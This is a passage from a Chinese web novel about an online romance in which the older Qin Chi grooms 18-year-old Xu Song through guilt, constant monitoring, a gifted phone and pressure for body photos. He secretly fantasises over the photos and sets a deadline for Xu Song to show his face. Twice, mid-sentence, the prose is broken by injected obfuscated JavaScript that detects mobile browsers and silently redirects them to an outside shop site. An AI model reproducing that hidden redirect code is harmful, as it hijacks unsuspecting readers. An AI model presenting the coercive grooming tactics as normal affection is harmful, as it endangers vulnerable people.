秦弛看到他的消息后很满意问他觉得好吃吗? 蛋糕的内馅全是许颂喜欢的水果饼干,他当然是很喜欢的,而且也不用像以前过生日一样,把最大一份让给妹妹。 他现在一个人就能吃两份大的,就是有些撑。 秦弛的消息发过来,在商场上放许颂听不怎么清,只能转成文字。 秦弛:颂颂喜欢就好。 秦弛:好想看看颂颂戴生日帽的样子哦。 许颂闻言顿了顿,蛋糕店送了生日帽,但因为觉得不好意思他并没有戴上。 颂颂:商场人好多,就没戴生日帽啦。 秦弛:颂颂回家戴吗? 许颂有些纳闷,蛋糕已经吃完了,回家还戴生日帽做什么? 秦弛:颂颂戴吧,我想看。 许颂这时才理解秦弛的意思,他猛然惊觉自己跟秦弛在一起,自己总有一天要露脸吧? 但许颂想到秦弛的脸,又想到自己平庸的模样心里开始慌乱了,如果秦弛看到他的脸很不喜欢怎么办…… 现在秦弛对许颂来说就像是镜花水月,在没有到他想要打碎的那一刻,任何的动荡都会让他感到慌乱。 他一时间忘了回复秦弛的消息,而对话框中沉默在秦弛的视角里便是许颂无声的拒绝。 虽然已经网恋了,但秦弛还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482233|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不敢把人逼太紧。 许颂再去看消息时,秦弛已经不再要他的照片了。他微不可闻地松了口气,跟秦弛说他要开飞行模式上学了。 为了方便,许颂下午上学偷偷带了手机,但他在课室里会老老实实将手机关着。 秦弛说了告别,许颂才慢吞吞地关闭手机。 凌航其实早早就给许颂准备了生日礼物,但吃晚饭时没有拿出来,直到晚修放学才愿意神神秘秘递给许颂,十分卖关子说:“我送的礼物你肯定会喜欢。” 许颂提着一大一小的盒子有些茫然:“两个吗?” 凌航嘿嘿笑了两声,说不是,另一个是秦弛让他帮忙送的礼物。 他把秦弛上周让他帮忙给许颂送礼物细节从头到尾添油加醋说了一遍,把许颂弄得面红耳赤,最后才得意地说:“他这么用心,所以我才会觉得他跟你告白是早晚的事。” 许颂有些不好意思地攥着袋子,里面的包装不是很大,有些重,他不禁好奇里面到底放了什么,但知情人凌航不愿意透露,只说很适合他。 许颂也只能回到家才能揭晓。 他心情很好地回到家里,李洁和许高富这时候也没有休息。 注意到他手里的东西,李洁瞥了眼问他:“下午在外面吃饭买了什么?” 怕她过来查看,许颂换鞋时手指不自觉按在袋子口,低头时说话的声音有些闷:“同学送的礼物。” 他这么说时,心里其实期盼着两人能想起什么,但显然两人都没有印象。 许高富刚下班,吃着宵夜说:“不过节的,送你礼物做什么?” 许颂慢吞吞地往房间走,低声解释:“生日礼物。” 李洁和许高富两人闻言都顿了下,这才想什么,但还没说什么许颂已经回了房间。 许颂取衣服准备去客卫洗澡时,主卧李洁和许高富开着门忽然跟他说最近太忙了,把他的生日记错了时间。 许颂没什么情绪地嗯了声,准备继续往浴室走,但又被李洁叫住,问他生日想要什么礼物。 许颂抱着衣服沉默着,夫妻两人看着他这幅模样,心里对忘了许颂的生日有一点儿内疚,毕竟是十八岁生日。 当然两人也不可避免地想起上回给许祐过十八岁生日的时候。 许祐成年生日时,两人都花了不少钱,早早考虑到许祐一直想要玩潜水的愿望,提前筹划全家去隔壁省看海。 许祐玩潜水的时候,许清宝和许颂只能在船上羡慕地看着。 为了表示不偏心,李洁跟船上的兄妹两人承诺,以后他们的成年愿望她也会尽力实现。 只是当时家里的经济没那么紧缩,现在许清宝在私立初中上学学费好几万,在兴趣班学美术每个月也要不少钱,要是许颂这时候要是也请求花钱去外省玩两天,夫妻两人心里其实是不愿意答应的了。 不过他们也了解许颂,除了这两年提过几次的乐高积木,平时并没有什么特别喜欢的东西。 而且那套积木许颂在李洁面前提过几次,说明是真的想要。 李洁之前不答应是怕助长许颂的不良兴趣,担心许颂高中沉迷儿童积木耽误学习,但现在她可以破例答应许颂买那套将近三千块钱的积木,毕竟这个礼物目前也算得上奢侈。 所以李洁打算许颂在这回提的时候她就松口,但出乎意料的是许颂仅仅只是想了想而已,他并没有像以前一样问可以买那套积木吗,而是说:“算了,已经快过去了,我没有什么想要的东西。” 12. 礼物 许颂洗完澡从浴室出来,主卧已经关门了,客卫门口只留了一盏小束灯。 他轻手轻脚回房间,从书包里翻出手机,飞行模式关闭的那一刻,消息疾风骤雨般弹了出来,险些将老旧的手机卡死。 许颂在书桌前等了几分钟,手机屏幕才从卡顿中恢复正常,他带着疑惑翻开消息,发现是大部分都是秦弛给他发过来的。 对方在他放学的时间里先先后后了数十条关心的消息,但因为手机一直开着飞行模式,许颂并没有收到。 许颂听见男人的语气从起初的温柔询问到最后变得急切担忧,心里不禁腾升起一股异样的满足感。 他听完语音才低头打字给秦弛回消息,说自己回到家没看手机先去洗澡了。 消息发出去几乎没过三秒秦弛便打了视频通话过来,许颂学着昨晚的样子把摄像头关了才接通通话。 秦弛看见对方关闭的摄像头时,柔和的脸色阴沉地凝了一瞬,在许颂发觉之前又重新显现出无害的姿态。 许颂乖乖喊了声哥哥,将手机架在面前的书架上,这正好能跟他坐着时视线平齐。 秦弛注视着镜头,唇间带着浅淡的笑意跟许颂打招呼,而后语气有些委屈:“颂颂放学这么久才回我消息,害我担心了好久哦。” 许颂闻言有些不好意思抿起唇,小声解释:“手机上学时开了飞行模式忘记关了,没听到消息提醒。” 末了,他又慢吞吞地补充:“不是故意的,哥哥。” 屏幕中的男人轻笑了一声,气息打在耳机上令许颂的耳朵异常酥麻,对方说话时也带着浅薄的笑音:“好吧,原谅颂颂了。” 许颂听得后颈有些发软,他默默趴在了桌上,下巴抵着手臂仰头去看手机屏幕,低低唔了声。 秦弛问许颂收到生日礼物了吗,许颂闻言视线挪到了桌边的其中一个礼物袋上。 他贴近着耳机麦低声说:“收到了。” 想到凌航上午教他的话,许颂又乖乖地补充了一句谢谢哥哥。 肉眼可见的,屏幕中的男人眉梢间的愉悦加深了几分,许颂心想凌航说的真的没错,原来这样就能让秦弛开心了。 “颂颂没有将礼物打开看看吗?”秦弛问。 许颂摇了摇头,想到秦弛并不能看见自己,窘迫地捂了下脸才说没有哦。 “我送这个礼物的时候有私心,但也希望颂颂能够喜欢,颂颂先拆开看看吧。”秦弛柔声细语道。 许颂闻言不禁对秦弛所说的私心有些好奇,他将礼物袋拉到面前,小心翼翼拆着上面的彩纸包装,问:“哥哥送了什么?” 秦弛没有透露只说拆开就知道,许颂只能说好哦,细长的手指拆卸着繁琐的包装,将一层层彩纸剥开,看见了礼物的全貌。 是一部全新未开封的手机。 不仅如此,里面还贴心地准备配套的手机壳和耳机。 许颂虽然不了解手机牌子,但光看上面的包装标志便觉得这个礼物价格不菲,更何况电子设备价格动辄上千,这比几百块钱的蛋糕贵多了。 许颂的第一反应是不能收下,没等他说话,秦弛的声音传了过来问他拆开了吗? 许颂嗯了声,有些局促地说:“哥哥为什么送我这个,我有手机了……” 他话没说完,便被秦弛柔声打断了。 秦弛说想要跟他一起用情侣手机。对方用黑色,他用白色,这样即便是网恋也能够以另一种方式证明着他们恋爱的真实感…… 秦弛这么解释完又语气低落地反问:“颂颂不想这样吗?” 许颂知道很多人谈恋爱会穿情侣外套、用情侣头像,但的确没想过还有情侣手机,他听着秦弛的话不得不为自己赶不上潮流的认知而内疚,小声说没有不想,只是觉得有些贵重。 “可是颂颂,感情是不能算得这么清的,你总是这样我会觉得伤心,这只是我表达爱意的一种方式,但颂颂总是在拒绝……” 秦弛难受地说着,最后神态落寞猜疑:“颂颂昨晚是不是怕我伤心才答应跟我在一起的?” 许颂闻言心里酸软一片,秦弛这么好,他怎么可能会不喜欢? 他的手指搭在手机包装盒上,喉结轻微滚动着,有些不好意思地说:“没有的,我、我也喜欢哥哥,但我不知道该怎么谈恋爱……” 说着许颂整个人几近烧起来,说话的声音越来越低。 秦弛满意地感受着对方青涩害羞的声音,即将达到目的时命令的语气几近掩盖不住,“那颂颂就把那部又卡又糊的旧手机换了,以后用我送的新手机。” 许颂没有发觉,还有些呆地唔了声,听从秦弛的话把新手机的包装打开了,照着秦弛的指导注册了ID和密码。 许颂没用过这么新款式的手机,跟秦弛挂断通话后,他像个山顶洞人一般,在房间里默默探索了手机所有的新功能,语音控制、快捷操作……等反应过来时已经快零点过半了。 他赶紧放下手机团进被窝里,回忆着秦弛柔和的嗓音渐渐陷入睡眠。 . 许颂以前从来没有发觉自己那部旧手机不好用,但仅仅只是换了手机一天,他就已经不习惯那种卡顿的感觉了。 许颂把那旧手机充满电收拾在抽屉里,而后又去拆了凌航送的礼物,对方送了他一套街景系列的乐高。 难怪盒子这么大。 许颂新奇地翻看说明指南,朝积木拍了张照发给凌航,跟对方表示自己真的真的很喜欢。 凌航回消息时哈哈大笑,而后又说:“你换上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482234|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦弛送的手机了?” 许颂有些不好意思地嗯了声。 凌航:“你可终于换掉那部旧手机了,刷视频那么卡,拍照还很模糊。” 许颂闻言点开那图片,的确是比他以前拍的那些照片色彩要好看。 正想着,房间门忽然被人敲了敲,许颂手忙脚乱地将手机踹进裤兜里,紧接着门便被拉开了。 李洁问他刚才在做什么。 许颂有些心虚地说在看书。 李洁扫了他桌上的课本两眼,并没有怀疑,而后叫他出来。 许颂不知道自己是否闯了祸,心悬空着跟在她身后,到了客厅,许高富让他在沙发对面坐下。 一家三口就这么在客厅里聊了一会儿天。 许颂其实有些不太明白他们突然叫在客厅自己聊天的意义,他时不时地扫过时钟。 不早了,再晚一些就没时间跟秦弛聊天了。 许高富揪着儿子卖了半天的关子,最后才从茶几下面取出一个盒子,递到许颂面前,扯着随意的笑容说:“我跟你妈呢,知道你心里一直想买这个积木,虽然不知道你们这些小孩为什么净喜欢些没用的东西……” 旁边的李洁润了两声嗓子,直接把那盒乐高塞进茫然的许颂手里,没好气瞥了许高富一眼:“孩子明天还得早起上学,你扯这么多没用的话做什么。” 许高富呵呵笑着说对,拍了拍许颂的肩膀让他回房间继续休息吧。 许颂就这么抱着那盒烫手的积木,慢吞吞回房间,他在房间里迷茫地转了两圈,最后才找到一处容纳这盒积木的位置。 他仰头看着那盒安置在书架顶上的乐高。 明明是他以前非常想要的东西,现在得到了却没有欢快的感觉,也没有打开的期待感。 他站了许久才垂眼去看秦弛的消息。 今晚通话时已经有些晚了,秦弛听着许颂说话,忽然关心问他是不是心情不好? 许颂抱着枕头,心情有些乱糟糟地把刚才的事情告诉了对方。 秦弛轻挑着眉,淡笑说:“或许是出于内疚吧,因为忘了颂颂的十八岁生日,所以想要送些东西给颂颂弥补心里的愧疚感。” 许颂心不在焉地垂着头,脊背微微弯曲着,脆弱而单薄地展现在暖黄灯光下,零碎的细发搭在他的脸颊边,遮掩了一半的神情。 另一端的秦弛想象着许颂此时此刻沉默心软的模样,眼底没有一丝动容,说话的语气轻缓细长却浸着强烈的目的性提醒:“但任何东西都具有时效性。” “花不能等枯萎了再浇水,颂颂,你说对么?” 许颂抱着枕头上的手指微微收紧,沉默半晌最后低低嗯了声。 在他看不见的视角,秦弛眼底终于显现出浓厚笑意。 13. 照片 许颂发觉网恋后的秦弛跟以前有些不一样。 变得有点黏人。 之前几乎都是他主动给秦弛发消息,现在成了秦弛不停地给他发消息。 许颂告诉过秦弛自己的放学时间,于是秦弛便是从二中放学那一刻起接连不断地给许颂发消息关心他的情况,几乎一分钟三条,但许颂从学校走回家最快也要八九分钟的时间。 所以每次回到家,秦弛的消息几乎占据了整个状态栏,仿佛每一个不回消息的时刻,许颂都有可能会失踪不见。 许颂虽然很享受这种感觉,但也不舍得秦弛一直这么紧张担心着,于是选择听从秦弛的建议,把手机开着静音键放进书包带去学校,然后放学后第一时间给秦弛报备。 且秦弛现在也不再满足于每天只在晚上通通电话,白天中午也要打电话过来,即便到了午休时间也不愿意挂断,要跟他接通着一起睡觉,许颂并不知道手机另一端的男人一直没有休息,贪婪地听着他熟睡后平稳的呼吸声,想象他熟睡的模样,亢奋得几近合不上眼。 还是不够…… 看不见…… 秦弛垂着睫毛,眼里眸光晦涩不明。 …… 许颂这几天感受着网恋带来的幸福,反应过来时已经进入十月末尾。 市联考要到了,许颂这个月半颗心放在网恋上,学习自然而然忽略了不少。 联考前几天的短假,许颂终于从恋爱的蒙蔽中清醒许多,软声拒绝了秦弛通话学习的邀请,在房间里心无旁骛地复习了一天。 晚上打开手机给秦弛发消息时,许颂有些担心对方会因此生气,果然,他把消息发出去后,异常反态的,秦弛没有回复他的消息。 许颂咬着嘴唇抱着手机等了几分钟,还是没等到秦弛的消息。 许颂还是第一次遇到这种情况,往常无论是什么时候给秦弛发消息,对方都会在三秒内回复,就仿佛一直在关注着他的微信一样。 不可避免的,许颂大脑闪过一些曾经在网络上看到一些有关情侣矛盾冷战分手的帖子。许颂如今正沉浸在这段甜蜜的网恋里,想到这些不自觉地陷入慌乱之中。 仿佛聊天框里沉默的每一秒都即将要宣判什么,令他坐立不安神经紧绷 许颂又等了两分钟,搭在键盘上的手指开始急切而笨拙敲动着,尽可能地开始斟酌句子,然而没等他发出去,秦弛的消息先发了过来。 他悬着心点开,听见秦弛低哑声音从听筒里传了出来,带着一丝疲怠:“抱歉颂颂,刚刚在忙,没有看到你消息。” 许颂闻言垂着眼,有些患得患失想秦弛平常很忙也会及时回自己的消息,所以这是秦弛的借口吗。 他的手指滑过屏幕,一点点将斟酌的句子删去,有些难受地重新打字:那哥哥继续忙吧,我不打扰你了。 消息刚发出去,秦弛的视频通话就打了过来,走向显然跟许颂预料的不太一样,他动作卡顿着,凭着肌肉记忆先关掉了摄像头而后才接通电话,很小声地叫了声哥哥。 屏幕中秦弛带着银框眼镜,锋利的眉眼隐藏在亮光镜面下更显得温文尔雅,只是眉梢间挂着浅淡的疲惫。 他听见许颂的声音轻轻嗯了声,忽得柔声关心:“颂颂怎么了?听声音好像不太开心呢。” 秦弛跟许颂说过希望恋爱的时候,许颂能够要多多表达自己的情绪,但见秦弛对自己一直耐心温和的模样,许颂也不想让自己的情绪影响对方。 他低头闷着声说没有。 秦弛的表情忽然变得凛然,双眼透过镜头仿佛真的能看见许颂并探查出他的情绪一般,缓声反问:“真的没有么?颂颂。” 许颂的视线微微从屏幕中虚虚挪开,低低唔了声,而后听见秦弛温柔笑了,漆黑的瞳孔注视镜头,轻声说:“颂颂,骗人的习惯可不好。” 秦弛的话像是捏住了许颂的后颈,他几乎下意识地一僵,即便没有打开镜头也仿佛自己无所遁形的暴露在了对方面前一般,后脊一阵紧张发麻。 半晌,许颂才在两道僵持的呼吸声中,瓮声瓮气说:“对不起,哥哥。” 秦弛耐心地嗯了声,问他为什么心情不好。 许颂一紧张无措手指就会去扣些什么,他勾着睡衣扣子将身上的睡衣扯得不成形状,半晌才低声说:“你不回消息,我等了很久。” 秦弛问他是因为这个生气了吗。 许颂想说不对,他不是觉得生气,而是怕对方以后都不理他了。 许颂没有说话,秦弛就当他是默认,亏欠地看着镜头,温声道歉:“都是我不好,不是故意不回颂颂消息的,刚刚一直在书房整理题库,太入神了所以才没有看到颂颂的消息。” 他的神态真挚而内疚,两人之间的角色又对调了,主导权似乎又回到了许颂手上。 许颂有些迟钝地说没关系。 秦弛闻言脸上的内疚少了些,轻笑着说:“上次答应过要给颂颂整理题库,但之前手受伤一直做不了,今天颂颂提起联考我才想起来。” “因为不知道颂颂在G省的哪一座城市上学,所以我就把G省所有地级市的复习题目一起归纳汇总做了分析,所以花了些时间,刚才没能及时回复颂颂的消息……” 许颂抱着手机眼睛干涩地眨了眨,有点不太理解秦弛在说什么。 秦弛十分贴心地按照分门别类做了文档,以便许颂使用。 很显然做这些是很耗费精力的事情,秦弛眉宇间的疲怠一直没有消散,许颂不禁因为自己一开始的胡乱揣测感到内疚。 秦弛望着镜头十分善解人意道:“颂颂不用跟我说谢谢,这是我应该做的。” 说着像是犹豫,他又道:“如果颂颂真的想要感谢的话,发几张颂颂的照片给我就好了,我好想看看颂颂哦。” 许颂不禁有些紧绷,小声重复:“照片?” 秦弛看着镜头,眼底闪着晦涩不明的精光:“什么照片都可以,颂颂。” “不一定要露脸,跟以前拍手指和腿一样就可以了。” 许颂仅仅只是听到不用露脸便松了一口气,没有设防地说好哦。 秦弛唇角的弧度很扬 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因为觉得不好意思,许颂是靠着枕头侧拍的,他不会构图,拍照的角度挑的不是特别好,稍不注意就把半边腰一并拍了进去,并且有一条腿大部分皮肤被另一条腿遮掩住了,所以秦弛实际上能看到的皮肤很有限…… 但这对憋了这么久的秦弛来说已经够了。 许颂没有刻意凹姿势,也不是什么刻意引诱的姿态,只是坦荡茫然地给秦弛拍一张照片,他并不知道对方会目光痴迷地注视他在照片上的裸露的每一处皮肤,然后在想象中去舔抵、揉搓那些位置。 近乎疯狂地去臆想。 新手机的像素很好,将许颂皮肤的每一个细节都展现了出来,比如小腿边微微泛红的蚊子包,又比如大腿边短裤翻起时露出的几颗黑痣。 许颂的模样在秦弛脑中更加清晰了一些。 因为没开镜头,秦弛脸上温柔和煦的伪装得姿态已经全然卸了个干净,狰狞而痴迷地贴近这张照片上,整个人发出一阵阵亢奋的颤栗。 完完全全应该属于我的。 颂颂。 秦弛大脑一遍又一遍几近确定地重复着,喘息声几乎压制不住。 因为照片发出去,秦弛那边许久没有声音,许颂的内心有些慌乱不安,说:“我不太会拍照……” 耳机里,秦弛忽然喘息了一声,许颂声音顿了顿,还没有纳闷,对方的声音便柔和地传过来,只是比往常要急切一些。 “很好看……颂颂……跟我说说,今天都复习了什么。” 许颂低头调了调耳机,以为是自己的耳机音量出了问题,秦弛说话的气息怎么忽然比平时要重了。 他调耳机的同时也不忘回答秦弛的话,乖乖地说:“好哦,哥哥。” 话音刚落,耳边忽然又传来一道粗重的气音,许颂被吓一跳,看着自己一直在调低音量的耳机,呆半秒,才说:“哥哥,我的耳机好像坏了……” 14. 视频 耳机里秦弛说话的音量很小,许颂有些听不清,只能重新调高音量很快耳边再次传来粗重的低喘声。 秦弛问:“颂颂什么要坏了?” 许颂闻言莫名觉得耳热,有些认真回:“耳机。” “耳机可能坏了……” 许颂的声音偏清润,微微压低时显得绵软,传入秦弛颅内激荡着一片汹涌,他紧紧盯着屏幕中的双腿,只是想象着亲手攥上去摆弄的画面,身体的反应似乎就已经能达到顶峰。 秦弛充满恶念的臆想着,关掉了语音里的声音,不再克制地喘息呢喃:“不对呢,宝贝。” …… 耳机忽然安静了,连那些异常的呼吸声都没有了,许颂疑惑地喊了秦弛两声,而后又低头着调试耳机音量,无果后,只能选择拔掉耳机。 但即便如此,听筒里依旧没有任何声音。 许颂纳闷地看着通话界面,上面的拨打时间还在正常的记录着。 他以为是网络卡住了,小声跟秦弛解释:“哥哥,我这里好像网络不好,听不见你的声音,我先挂断通话吧。” 说完许颂等了一会儿,确定真的听不见秦弛的声音后,才选择挂断了通话。 挂断后不久,秦弛的消息就发过来了。 秦弛说许颂拍的照片很好看,他很喜欢,想要许颂以后多拍拍照发给他看。 许颂平时刷到的恋爱贴子也经常看到情侣们互相发照片,他想了想觉得只要不用露脸就没问题,毕竟秦弛经常给他发打网球、健身的视频,自己也应该发一些照片回应对方。 这么想着,许颂低头打字回了个好哦。 手机另一端,秦弛一身湿气从浴室出来,单手握着手机直径走向书房。 他站在书房打印机前,上面正插着一张刚打印出来的、带着余温的相纸。 书房的相机打印设备品质很好,照片打印出来的色彩几乎完全清晰还原许颂拍摄的那张照片。 秦弛将照片抽在面前静静端详着,用目光抚摸上面每一处肌肤,最后才慢慢贴上去,满意地吻了吻画画中弯曲的膝盖,将照片挂在书房一侧巨大的照片墙中。 浅棕色照片墙面一共只钉了四张照片,其中只有秦弛从视频截出来的那张模糊的照片里许颂漏了脸,只是画质不够清晰。 不过秦弛并觉得不可惜,因为这面墙迟早会被许颂的照片占满,到时候他一定会让许颂跟他一起欣赏这面漂亮的艺术墙。 一边做一边欣赏。 …… 这次联考,许颂临时抱佛脚上阵,没料想考出来的成绩比上回月考还要好,在一众退步学生中十分突出,还受到了点名表扬,但许颂并不骄傲自满,整理着联考试卷的错题分析。 李洁在家长会回来就将许颂的班级家长群屏蔽了,看见老师的艾特以为又是什么丢脸的消息,连点进群里查看的耐心都没有,随手长按已读了。 许颂回到家没有主动提联考的问题,李洁自然而然认为许颂的成绩这次考试再次一退再退,连询问一嘴的心思也没有。 秦弛给许颂整理的题库和题型分析十分细全,并不像是一天就能准备出来的,但许颂对这些向来比较迟钝,只觉得秦弛真的很细心体贴,真的把G省地级市里重要的题型全都整理了进来,几门学科都没有落下。 他把文档用家里的打印机打印了出来,装订成了几个大册子,平时复习便刷里面的题目,看着秦弛给的题型分析做错题总结,慢慢的也能举一反三找到一些题目的出题规律。 许颂自认为自己比别人笨,脑子不灵光只能勤能补拙地去多刷题,有时候秦弛也会开视频教他做题。 许颂每一次都很谨慎,从来没有失误点错摄像头方向暴露自己的脸。 到了睡前,他便会把白天拍的照片发给秦弛看。 有时候是呆呆的坐姿,有时候是抓着笔写作业的手指。 无论许颂发什么秦弛都照单全收,说出一堆让许颂面红耳赤的话。 有些时候许颂也会照着秦弛的要求穿着短裤摆姿势拍照,虽然动作僵,但秦弛却说好喜欢,觉得他的腿很好看,胯骨也很有美感,弄得许颂很不好意思。 澜城的冬季来得很慢,几乎不怎么降温,而视频里的秦弛已经穿上了大衣,身后的公园挂上了了薄薄的雪。 许颂没见过雪有些新奇地问:“那是不是可以堆雪人?” 秦弛看了看雪的厚度,说:“晚上才可以哦颂颂。” 许颂想看秦弛堆雪人,于是秦弛晚上发了一个堆小雪人的照视频发给许颂。 视频里,男人修长的手指被冰雪冻得微微发红,指尖抵在雪人的头顶上蹭了蹭,而后许颂便听见秦弛的低笑,“摸摸颂颂的脑袋。” 许颂看完视频脸颊嗡地红了,他压着羞赧感认真地纠正:“那不是我。” 秦弛回语音时嗯了声,而后带着笑腔补充:“这是我堆的颂颂雪人。” 许颂闻言浑身更热了,从燥热的被窝里出来,抓起旁边复习资料给自己扇风。 他知道自己不是秦弛的对手,于是将这个话题略过,关心秦弛手冷不冷。 秦弛有些可怜说冷,他手艺不好,堆了一个小时才堆出这么一个小雪人,一会儿要回去放进冰柜里专门封存起来。 许颂觉得奇怪,秦弛每天都能看到雪,要是雪人化了,以后重新做一个就行了,为什么还有专门保存。 “这是我给颂颂堆的第一个雪人,肯定要好好保存起来。”以后让你亲手触碰。 秦弛真挚道。 许颂从来没有感受过这种珍视,他抱着手机垂眼看着秦弛发来的雪人照片,眼眶有些酸涩,低低说:“哥哥为什么对我这么好。” “这样就已经很好了吗?”秦弛反问道,有些遗憾地说:“但我们还没有见过面呢,颂颂,如果见面的话我会对颂颂更好的。” 见面吗……许颂垂低眼,觉得秦弛看到自己的样子估计就不会再喜欢他了。 而且凌航说过网恋就是要保持朦胧的距离感感情才能一直维持下去……见面应该是不太可能的。 许颂一直在心里安慰自己,下一刻秦弛打视频通话过来。 他谨慎地关掉摄像头接通,秦弛已经从室外进到了室 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秦弛每次都会亲手给他准备独一无二的礼物,即便触碰不到,许颂心里也已经满足无比,然而他却不能送秦弛一些什么,不禁有些沮丧。 秦弛这几天等许颂这句话很久了,他脸上挂着标准无比的笑容,漆黑眼珠直勾勾盯着镜头,轻声说:“没关系,颂颂打开摄像头让我看看就好了。” 秦弛的请求令沉浸在感动中的许颂猛地清醒了两分。 他心里对露脸始终保持着警惕,但因为秦弛这几天的温柔攻陷判断自然而然被左右了,他被秦弛钻到了空隙却毫无察觉,有些不坚定地陷入了进退两难的境地。 他一边担心拒绝秦弛让对方伤心一边担心露脸后秦弛不喜欢,这段甜蜜的网恋也因此无疾而终了。 他有些六神无主的惧怕着,没法立即作出答复。 视频里秦弛低低唤了他一声。 往日温柔的嗓音如今只能给许颂带来喘不上气的压迫感,他暂时找不出对策,手指徒劳地绞动着,掌心里急出一片湿热。 他心里其实期待着秦弛能懂得他的为难,然后放弃这个念头,然而往日体贴的秦弛这次却没能感受到他的焦灼,又低低唤了他一声。 许颂呼吸和心跳一并跟着加速了。 慌乱之间许颂低低应了声,绞尽脑汁地寻找对策,到最后也只能想到尽力去拖延。 他嘴里的舌头像是打结一般卡顿着,说话带着不易察觉地紧绷,“下、下次吧。” 说完他又带着一丝祈求的意味软声说:“可以吗?哥哥。” “今天太突然了,我还没有准备好。” 秦弛闻言眉梢挂上了一丝愉悦,低笑了声:“这样吗?” 他继续追问许颂:“那下次是什么时候?” 许颂闻言又觉得为难了,想了很久才说:“……下周?” 秦弛还以为对方会提下个月,口中的拒绝滑了一圈转而成了满意地可以。 通话挂断前,秦弛声音温柔地提醒他: “七天后,颂颂就不能再关掉摄像头打视频了哦。” 15.承诺 许颂原本放松的心闻言再次加速起来,像是接收到宣判预告一般,不断传来一阵阵不安的情绪,只能条件反射的发出一节短音。 通话挂断后,他缩着被窝里心里的惧乱久久无法平静。 梦境会被人的意识影响,许颂怀揣不安地入睡,于是在半睡半醒间梦见七天后兑现承诺的时候,他梦到秦弛见到他后不满意,当场提出分手后把他的微信删了。 梦里的场景太过真实,许颂早上醒来看见秦弛发来的消息还有些反应不过来,缓了半天才有力气给秦弛回消息。 许颂吃完早餐揣着手机去上学,路上时不时地低头看秦弛发来的雪景视频,他想到自己的噩梦,有些悲观地想七天后秦弛应该就不会对他这么好了。 许颂很少会将情绪表现得特别明显,但今天他几乎每一个动作都散发着颓丧,因为时间流逝的每一秒都为他带来巨大的压迫感。 他有些后知后觉地认为延迟一周的时间太短了,当时应该说长一点。 上课时,许颂有些后悔想。 他心不在焉的状态几乎被凌航一眼就发觉了,于是大课间时,凌航特地拐着他去人少的拐角,压低声音关心问他怎么了。 许颂颓靡地低头,犹豫了半晌才慢吞吞地把昨晚视频答应的话告诉凌航。 这几天冷空气团南下,澜城气温降了几度还刮起了风,大家开始穿起秋季校服,许颂也借此躲猫猫似的把自己窝进秋季校服外套里,平时呆呆傻傻只露出鼻尖和镜框,眼眶边的那些碎发刘海十分明显。 “露脸视频啊?这很正常,网恋到一定的时候,这一步是少不了的……”凌航说着实在看不下去了,抬手许颂的头发撸了把,将那些头发捋起来,而后揉了两把:“好说不说,你的头发可真软。” 许颂的眼皮微微耷拉着,有些低落地唔了声。 凌航就这么端详了他几秒,直到将许颂盯得有些不好意思了,才悠悠道:“我看你是瞎担心,只要你把这呆呆的刘海换了,秦弛肯定看完走不动道——” 见许颂自闭地转到另一个方向发呆,凌航实在有些憋不住笑,捏着人肩膀将他扭回来,认真说:“我真没开玩笑,知不知道什么叫发型毁全部?还有你这镜框……” 凌航食指勾着许颂的眼镜直接取了下来,而后端详许颂那毫无遮掩的面孔。 许颂平日细长的头发被凌航捋在上方成为微散的中分,将他细弯的眉毛与清澈无暇的双眼一起展现了出来,与往常只能让人窥探出清秀的唇鼻一起融面容中,斯文清俊的气质立马就跑了出来,简直是整个人都大变样。 凌航看着嘶嘶了两声,控制不住往许颂脸颊搓了两下,给人活生生压出一片红后,这么一看更加惊心动魄。 他有些感叹说:“都说你哥跟你妹好看,但我还是觉得你跟胜一筹。” 许祐在一中时出了名的学霸帅哥,许清宝现在在私立初中上学名字也被不少人到处传q.q号。 澜城不大不小,刷个同城就能把七七八八的消息刷齐,什么帅哥美女更是不用说。 许祐的短视频号没发过内容都被不少人关注着,许清宝偶尔还会发发视频,账号的粉丝量就更不用说,也就许颂默默无闻的。 只要他不提,别人压根不会将性格无趣打扮老土许颂跟兄妹两人联想在一起,即便发觉了一些端倪,也只是觉得许颂是三兄妹里没踩中基因彩票的那一个。 许颂被拆下眼镜后不自觉地眯起眼,他只能看见凌航模糊的五官,听力似乎也随着视力倒退了,有些辨析不了凌航在说什么。 凌航见状重新把眼镜架回他脸上,打了个响指:“不过镜框换不下来至少可以把头发换了,还是很帅的。” 许颂闻言捏着自己的发尾有些迟疑问:“要剪多短呀?” 凌航估摸着,说:“剪个中分吧。” 中分……是多短啊?剪短一半吗? 许颂有些疑惑地思考道。 “总之下午你跟着我就行了。”凌航在脑中搜刮了几家风评不错的理发店,最后干脆道。 许颂其实对换发型还是有些忐忑的,而且他并不是特别想换掉自己当前舒服的发型,但想到七天后的承诺,便心下狠了一些。 下午放学许颂听从凌航的话跟着他一块去城市广场,进了一层的一家时髦理发店。 凌航把许颂按在椅子上,翻了一堆照片对着许颂的脸比对,跟理发师沟通好后,取走许颂的眼镜。 没了眼镜,许颂看不清前方的全身镜,也看不清理发师,十分没有安全感,凌航误解了许颂的担心,拍着他的肩膀,笑着说:“放心吧,就算剪得再差也会比你之前的发型好看的!” 许颂当然知道自己的理发水平跟专业的理发师比不上,但剪完头发看着镜子里白净俊秀的男生还是感觉到了技术的参差。 